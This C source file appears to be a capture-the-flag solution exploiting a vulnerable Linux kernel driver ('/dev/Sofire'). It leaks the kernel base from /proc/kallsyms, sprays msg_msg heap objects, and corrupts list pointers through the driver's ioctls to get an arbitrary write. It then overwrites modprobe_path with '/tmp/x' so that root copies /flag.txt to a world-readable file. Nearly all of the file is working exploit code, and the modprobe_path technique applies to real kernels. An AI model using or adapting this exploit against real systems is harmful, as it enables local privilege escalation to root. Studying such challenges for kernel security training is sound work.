1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
|
#include "./exploit.h" // some header files
#define NFT_RMALL 0x1337
#define NFT_ADD 0xdeadbeef
#define NFT_GET 0xcafebabe
#define NFT_EDIT 0xbabecafe
#define CHUNK_SIZE 0x100
struct list_head {
struct list_head *next, *prev;
};
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security;
/* the actual message follows immediately */
};
typedef struct {
long mtype;
char mtext[1];
} msg;
typedef struct sofirium_head {
char coin_art[0x70];
struct sofirium_entry *head;
int total_nft;
} sofirium_head;
typedef struct sofirium_entry {
struct sofirium_entry *next;
char nft[CHUNK_SIZE];
} sofirium_entry;
typedef struct request {
int idx;
char buffer[CHUNK_SIZE];
} request;
int global_fd = 0;
uint64_t kernheap, kernbase;
void die(const char *msg){
perror(msg);
exit(-1);
}
void rmall() {
request req;
bzero(&req, sizeof(req));
int ret = ioctl(global_fd, NFT_RMALL, &req);
if (ret < 0) {
die("[!] Failed to rmall");
}
}
void add(void *data) {
request req;
bzero(&req, sizeof(req));
memcpy(req.buffer, data, sizeof(req.buffer));
int ret = ioctl(global_fd, NFT_ADD, &req);
if (ret < 0) {
die("[!] Failed to add");
}
}
void get(int idx, void *data) {
request req;
bzero(&req, sizeof(req));
req.idx = idx;
int ret = ioctl(global_fd, NFT_GET, &req);
if (ret < 0) {
die("[!] Failed to get");
}
memcpy(data, req.buffer, sizeof(req.buffer));
}
void edit(int idx, void *data) {
request req;
bzero(&req, sizeof(req));
req.idx = idx;
memcpy(req.buffer, data, sizeof(req.buffer));
int ret = ioctl(global_fd, NFT_EDIT, &req);
if (ret < 0) {
die("[!] Failed to edit");
}
}
void hexdump(void *data, int size) {
uint64_t *a = (uint64_t *)data;
for (int i = 0; i < size / 8; i++) {
printf("[%02x]: 0x%lx\n", i * 8, a[i]);
}
}
void send_msg(int id, void *buf, size_t size, int flags) {
if (msgsnd(id, buf, size, flags) < 0) {
die("[!] Failed to send msg");
}
printf("[+] Send message: 0x%lx\n", size);
}
void get_flag(void){
system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag >> /tmp/1");
system("cat /tmp/1");
exit(0);
}
uint64_t leak() {
FILE *fp = popen("cat /proc/kallsyms |grep _stext", "r");
if (fp == NULL) {
die("[!] Error opening /proc/kallsyms");
}
char line[1024];
bzero(line, 1024);
char *p;
fread(&line, 0x10, 0x10, fp);
p = strchr(line, ' ');
*p = "\x00";
return strtoull(line, NULL, 16);
}
int main(int argc, char **argv) {
global_fd = open("/dev/Sofire", O_NONBLOCK);
if (global_fd < 0) {
die("[!] Failed to open /dev/chall");
}
int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (qid < 0) {
die("[!] Failed to msgget");
}
printf("[+] qid = %d\n", qid);
kernbase = leak();
printf("[*] Send message\n");
msg *message = calloc(1, 0x200 + 8);
bzero(message, 0x200 + 8);
message->mtype = 1;
memset(message->mtext, 'P', 0x200 - 0x30);
char buf[CHUNK_SIZE];
memset(buf, 'A', sizeof(buf));
for (int i = 0; i < 24; i++) {
add(buf);
}
printf("[+] 1 Remove all\n");
rmall();
printf("[+] Heap spary\n");
for (int i = 0; i < 1; i++) {
send_msg(qid, message, 0x200 - 0x30, 0); // 23
}
send_msg(qid, message, 0x40 - 0x30, 0); // 24
send_msg(qid, message, 0x40 - 0x30, 0); // 25
send_msg(qid, message, 0x40 - 0x30, 0); // 26
send_msg(qid, message, 0x40 - 0x30, 0); // 27
printf("[+] kernbase: 0x%lx\n", kernbase);
uint64_t modprobe = kernbase + 0x1851400;
// use 25 change 26's next, 27 is target
uint64_t save_buf[0x100 / 8];
get(25, buf); // 23(1d0) - 24(10) - 25(10) - 26(10) - 27(10)
memcpy(save_buf, buf, sizeof(save_buf));
hexdump(buf, sizeof(buf));
save_buf[7] = modprobe - 8;
edit(25, save_buf);
bzero(buf, sizeof(buf));
*(uint64_t *)buf = 0x782f706d742f; // /tmp/x
edit(27, buf);
get_flag();
return 0;
}
|